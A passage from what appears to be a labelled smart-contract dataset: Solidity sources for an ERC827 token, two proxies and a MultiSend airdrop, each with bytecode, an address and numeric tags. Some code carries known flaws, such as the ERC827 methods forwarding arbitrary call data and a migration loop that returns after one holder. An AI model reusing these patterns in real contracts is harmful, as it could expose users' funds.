allows to approve the transfer of value and execute a call with the sent data. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address that will spend the funds. @param _value The amount of tokens to be spent. @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens to a specified address and execute a call with the sent data on the same transaction @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens from one address to another and make a contract call on the same transaction @param _from The address which you want to send tokens from @param _to The address which you want to transfer to @param _value The amout of tokens to be transferred @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } // File: contracts/BaseContracts/SDABasicToken.sol contract SDABasicToken is ERC827Token, Claimable { mapping (address => bool) public isHolder; address[] public holders; function addHolder(address _addr) internal returns (bool) { if (isHolder[_addr] != true) { holders[holders.length++] = _addr; isHolder[_addr] = true; return true; } return false; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(this)); // Prevent transfer to contract itself bool ok = super.transfer(_to, _value); addHolder(_to); return ok; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(this)); // Prevent transfer to contract itself bool ok = super.transferFrom(_from, _to, _value); addHolder(_to); return ok; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); // Prevent transfer to contract itself bool ok = super.transfer(_to, _value, _data); addHolder(_to); return ok; } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); // Prevent transfer to contract itself bool ok = super.transferFrom(_from, _to, _value, _data); addHolder(_to); return ok; } } // File: contracts/BaseContracts/SDABurnableToken.sol /// SDA Burnable Token Contract /// SDA Burnable Token Contract is based on Open Zeppelin /// and modified contract SDABurnableToken is SDABasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } // File: contracts/BaseContracts/SDAMigratableToken.sol contract MigrationAgent { function migrateFrom(address from, uint256 value) public returns (bool); } contract SDAMigratableToken is SDABasicToken { using SafeMath for uint256; address public migrationAgent; uint256 public migrationCountComplete; event Migrate(address indexed owner, uint256 value); function setMigrationAgent(address agent) public onlyOwner { migrationAgent = agent; } function migrate() public returns (bool) { require(migrationAgent != address(0)); uint256 value = balances[msg.sender]; balances[msg.sender] = balances[msg.sender].sub(value); totalSupply_ = totalSupply_.sub(value); MigrationAgent(migrationAgent).migrateFrom(msg.sender, value); Migrate(msg.sender, value); return true; } function migrateHolders(uint256 count) public onlyOwner returns (bool) { require(count > 0); require(migrationAgent != address(0)); count = migrationCountComplete + count; if (count > holders.length) { count = holders.length; } for (uint256 i = migrationCountComplete; i < count; i++) { address holder = holders[i]; uint256 value = balances[holder]; balances[holder] = balances[holder].sub(value); totalSupply_ = totalSupply_.sub(value); MigrationAgent(migrationAgent).migrateFrom(holder, value); Migrate(holder, value); return true; } } } // File: contracts/BaseContracts/SDAMintableToken.sol /// SDA Mintable Token Contract /// @notice SDA Mintable Token Contract is based on Open Zeppelin /// and modified contract SDAMintableToken is SDABasicToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: contracts/SDAToken.sol // ---------------------------------------------------------------------------- // SDA token contract // // Symbol : SDA // Name : Secondary Data Attestation Token // Total supply : 1,000,000,000.000000000000000000 // Decimals : 18 // // ---------------------------------------------------------------------------- contract SDAToken is SDAMintableToken, SDABurnableToken, SDAMigratableToken { string public name; string public symbol; uint8 public decimals; function SDAToken() public { name = "Secondary Data Attestation Token"; symbol = "SEDA"; decimals = 18; totalSupply_ = 1000000000 * 10 ** uint(decimals); balances[owner] = totalSupply_; Transfer(address(0), owner, totalSupply_); } function() public payable { revert(); } }
0x6060604052600436106101715763ffffffff60e060020a60003504166305d2035b811461017657806306fdde031461019d578063095ea7b31461022757806316ca3b631461024957806318160ddd146102ae57806323b872dd146102d35780632a11ced0146102fb578063313ce5671461032d57806340c10f191461035657806342966c68146103785780634e71e0c81461039057806351fbfe9d146103a35780635c17f9f4146103b6578063661884631461041b57806370a082311461043d5780637272ad491461045c57806375e2ff65146104c15780637d64bcb4146104e05780638328dbcd146104f35780638da5cb5b146105065780638fd3ab801461051957806395d89b411461052c578063a9059cbb1461053f578063ab67aa5814610561578063be45fd62146105cd578063d4d7b19a14610632578063d73dd62314610651578063dd62ed3e14610673578063ddf41bf414610698578063e30c3978146106ae578063f2fde38b146106c1575b600080fd5b341561018157600080fd5b6101896106e0565b604051901515815260200160405180910390f35b34156101a857600080fd5b6101b06106e9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ec5780820151838201526020016101d4565b50505050905090810190601f1680156102195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023257600080fd5b610189600160a060020a0360043516602435610787565b341561025457600080fd5b61018960048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506107f395505050505050565b34156102b957600080fd5b6102c16108b1565b60405190815260200160405180910390f35b34156102de57600080fd5b610189600160a060020a03600435811690602435166044356108b8565b341561030657600080fd5b6103116004356108fb565b604051600160a060020a03909116815260200160405180910390f35b341561033857600080fd5b610340610923565b60405160ff909116815260200160405180910390f35b341561036157600080fd5b610189600160a060020a036004351660243561092c565b341561038357600080fd5b61038e600435610a21565b005b341561039b57600080fd5b61038e610b26565b34156103ae57600080fd5b6102c1610bb4565b34156103c157600080fd5b61018960048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610bba95505050505050565b341561042657600080fd5b610189600160a060020a0360043516602435610be7565b341561044857600080fd5b6102c1600160a060020a0360043516610ce1565b341561046757600080fd5b61018960048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610d0095505050505050565b34156104cc57600080fd5b61038e600160a060020a0360043516610d2d565b34156104eb57600080fd5b610189610d7d565b34156104fe57600080fd5b610311610dea565b341561051157600080fd5b610311610dfe565b341561052457600080fd5b610189610e0d565b341561053757600080fd5b6101b0610f4c565b341561054a57600080fd5b610189600160a060020a0360043516602435610fb7565b341561056c57600080fd5b610189600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ff895505050505050565b34156105d857600080fd5b61018960048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061103d95505050505050565b341561063d57600080fd5b610189600160a060020a0360043516611077565b341561065c57600080fd5b610189600160a060020a036004351660243561108c565b341561067e57600080fd5b6102c1600160a060020a0360043581169060243516611130565b34156106a357600080fd5b61018960043561115b565b34156106b957600080fd5b61031161130a565b34156106cc57600080fd5b61038e600160a060020a0360043516611319565b60075460ff1681565b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561077f5780601f106107545761010080835404028352916020019161077f565b820191906000526020600020905b81548152906001019060200180831161076257829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600030600160a060020a031684600160a060020a03161415151561081657600080fd5b610820848461108c565b5083600160a060020a03168260405180828051906020019080838360005b8381101561085657808201518382015260200161083e565b50505050905090810190601f1680156108835780820380516001836020036101000a031916815260200191505b5091505060006040518083038160008661646e5a03f191505015156108a757600080fd5b5060019392505050565b6001545b90565b60008030600160a060020a031684600160a060020a0316141515156108dc57600080fd5b6108e7858585611363565b90506108f2846114d1565b50949350505050565b600680548290811061090957fe5b600091825260209091200154600160a060020a0316905081565b600b5460ff1681565b60035460009033600160a060020a0390811691161461094a57600080fd5b60075460ff161561095a57600080fd5b60015461096d908363ffffffff61157416565b600155600160a060020a038316600090815260208190526040902054610999908363ffffffff61157416565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206117cd8339815191528460405190815260200160405180910390a350600192915050565b60035460009033600160a060020a03908116911614610a3f57600080fd5b600160a060020a033316600090815260208190526040902054821115610a6457600080fd5b5033600160a060020a038116600090815260208190526040902054610a89908361158a565b600160a060020a038216600090815260208190526040902055600154610ab5908363ffffffff61158a16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a0382166000805160206117cd8339815191528460405190815260200160405180910390a35050565b60045433600160a060020a03908116911614610b4157600080fd5b600454600354600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600480546003805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60085481565b600030600160a060020a031684600160a060020a031614151515610bdd57600080fd5b6108208484610787565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c4457600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c7b565b610c54818463ffffffff61158a16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a0381166000908152602081905260409020545b919050565b600030600160a060020a031684600160a060020a031614151515610d2357600080fd5b6108208484610be7565b60035433600160a060020a03908116911614610d4857600080fd5b60078054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b60035460009033600160a060020a03908116911614610d9b57600080fd5b60075460ff1615610dab57600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b6007546101009004600160a060020a031681565b600354600160a060020a031681565b60075460009081906101009004600160a060020a03161515610e2e57600080fd5b50600160a060020a033316600090815260208190526040902054610e58818063ffffffff61158a16565b600160a060020a033316600090815260208190526040902055600154610e84908263ffffffff61158a16565b6001556007546101009004600160a060020a0316637a3130e3338360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610eeb57600080fd5b6102c65a03f11515610efc57600080fd5b50505060405180515050600160a060020a0333167fa59785389b00cbd19745afbe8d59b28e3161395c6b1e3525861a2b0dede0b90d8260405190815260200160405180910390a2600191505b5090565b600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561077f5780601f106107545761010080835404028352916020019161077f565b60008030600160a060020a031684600160a060020a031614151515610fdb57600080fd5b610fe5848461159c565b9050610ff0846114d1565b509392505050565b60008030600160a060020a031685600160a060020a03161415151561101c57600080fd5b6110288686868661169c565b9050611033856114d1565b5095945050505050565b60008030600160a060020a031685600160a060020a03161415151561106157600080fd5b61106c85858561175c565b90506108f2856114d1565b60056020526000908152604090205460ff1681565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546110c4908363ffffffff61157416565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035460009081908190819033600160a060020a0390811691161461117f57600080fd5b6000851161118c57600080fd5b6007546101009004600160a060020a031615156111a857600080fd5b6008546006549501948511156111be5760065494505b6008549250848310156113025760068054849081106111d957fe5b6000918252602080832090910154600160a060020a0316808352908290526040909120549092509050611212818063ffffffff61158a16565b600160a060020a03831660009081526020819052604090205560015461123e908263ffffffff61158a16565b6001556007546101009004600160a060020a0316637a3130e3838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156112a557600080fd5b6102c65a03f115156112b657600080fd5b50505060405180515050600160a060020a0382167fa59785389b00cbd19745afbe8d59b28e3161395c6b1e3525861a2b0dede0b90d8260405190815260200160405180910390a2600193505b505050919050565b600454600160a060020a031681565b60035433600160a060020a0390811691161461133457600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a038316151561137a57600080fd5b600160a060020a03841660009081526020819052604090205482111561139f57600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156113d257600080fd5b600160a060020a0384166000908152602081905260409020546113fb908363ffffffff61158a16565b600160a060020a038086166000908152602081905260408082209390935590851681522054611430908363ffffffff61157416565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054611476908363ffffffff61158a16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206117cd8339815191529085905190815260200160405180910390a35060019392505050565b600160a060020a03811660009081526005602052604081205460ff16151560011461156c576006805483919061150a8260018301611789565b8154811061151457fe5b6000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039485161790559184168152600590915260409020805460ff191660019081179091559050610cfb565b506000919050565b60008282018381101561158357fe5b9392505050565b60008282111561159657fe5b50900390565b6000600160a060020a03831615156115b357600080fd5b600160a060020a0333166000908152602081905260409020548211156115d857600080fd5b600160a060020a033316600090815260208190526040902054611601908363ffffffff61158a16565b600160a060020a033381166000908152602081905260408082209390935590851681522054611636908363ffffffff61157416565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03166000805160206117cd8339815191528460405190815260200160405180910390a350600192915050565b600030600160a060020a031684600160a060020a0316141515156116bf57600080fd5b6116ca858585611363565b5083600160a060020a03168260405180828051906020019080838360005b838110156117005780820151838201526020016116e8565b50505050905090810190601f16801561172d5780820380516001836020036101000a031916815260200191505b5091505060006040518083038160008661646e5a03f1915050151561175157600080fd5b506001949350505050565b600030600160a060020a031684600160a060020a03161415151561177f57600080fd5b610820848461159c565b8154818355818115116117ad576000838152602090206117ad9181019083016117b2565b505050565b6108b591905b80821115610f4857600081556001016117b85600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820b8566855532aac4345bde5cc422e9a09dbac1bd78b7cadf607288290f7e0132c0029
[ 0, 5, 2 ]
0xf2a851e341bd0548cd1358eab3196472d434cdd7
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @title NonReceivableInitializedProxy * @author Anna Carroll */ contract NonReceivableInitializedProxy { // address of logic contract address public immutable logic; // ======== Constructor ========= constructor(address _logic, bytes memory _initializationCalldata) { logic = _logic; // Delegatecall into the logic contract, supplying initialization calldata (bool _ok, bytes memory returnData) = _logic.delegatecall( _initializationCalldata ); // Revert if delegatecall to implementation reverts require(_ok, string(returnData)); } // ======== Fallback ========= fallback() external payable { address _impl = logic; assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize()) let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) let size := returndatasize() returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } }
0x608060405260043610601c5760003560e01c8063d7dfa0dd146062575b6040517f0000000000000000000000000c696f63a8cfd4b456f725f1174f1d5b48d1e8769036600082376000803683855af43d806000843e818015605e578184f35b8184fd5b348015606d57600080fd5b5060947f0000000000000000000000000c696f63a8cfd4b456f725f1174f1d5b48d1e87681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f3fea264697066735822122022bce6ccb56fc7799f9d68d15a8c664be8dbfadc95d6a50dfb2e95627f51e85564736f6c63430008090033
[ 38 ]
0xf2a917e5fd98246b950de133fc2770105597a7cd
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ADIDAS { // ADIDAS. bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "Address Errors"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220fe0e5c7a651e2ef626725416120488578c2be930958ee2d409d0fcaa169e9d0064736f6c63430008070033
[ 5 ]
0xf2a95300326adf582a43b63218742e4528f82b01
pragma solidity ^0.4.19; /* Function required from ERC20 main contract */ contract TokenERC20 { function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {} } contract MultiSend { TokenERC20 public _ERC20Contract; address public _multiSendOwner; function MultiSend () { address c = 0xc3761eb917cd790b30dad99f6cc5b4ff93c4f9ea; // set ERC20 contract address _ERC20Contract = TokenERC20(c); _multiSendOwner = msg.sender; } /* Make sure you allowed this contract enough ERC20 tokens before using this function ** as ERC20 contract doesn't have an allowance function to check how much it can spend on your behalf ** Use function approve(address _spender, uint256 _value) */ function dropCoins(address[] dests, uint256 tokens) { require(msg.sender == _multiSendOwner); uint256 amount = tokens; uint256 i = 0; while (i < dests.length) { _ERC20Contract.transferFrom(_multiSendOwner, dests[i], amount); i += 1; } } }
0x6060604052600436106100565763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663169ea2f8811461005b578063b9dda7b8146100ae578063c2944f69146100dd575b600080fd5b341561006657600080fd5b6100ac600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506100f092505050565b005b34156100b957600080fd5b6100c16101ea565b604051600160a060020a03909116815260200160405180910390f35b34156100e857600080fd5b6100c16101f9565b600154600090819033600160a060020a0390811691161461011057600080fd5b5081905060005b83518110156101e457600054600154600160a060020a03918216916323b872dd911686848151811061014557fe5b90602001906020020151856000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156101c157600080fd5b6102c65a03f115156101d257600080fd5b50505060405180515050600101610117565b50505050565b600054600160a060020a031681565b600154600160a060020a0316815600a165627a7a723058209781e0ad81c746cb0623b712b3806027522c8163f1c79c6088c5765514be5bc40029
[ 16 ]
0xF2aA8aFd3B65Fc35318cE4D7Ef52B089487F718B
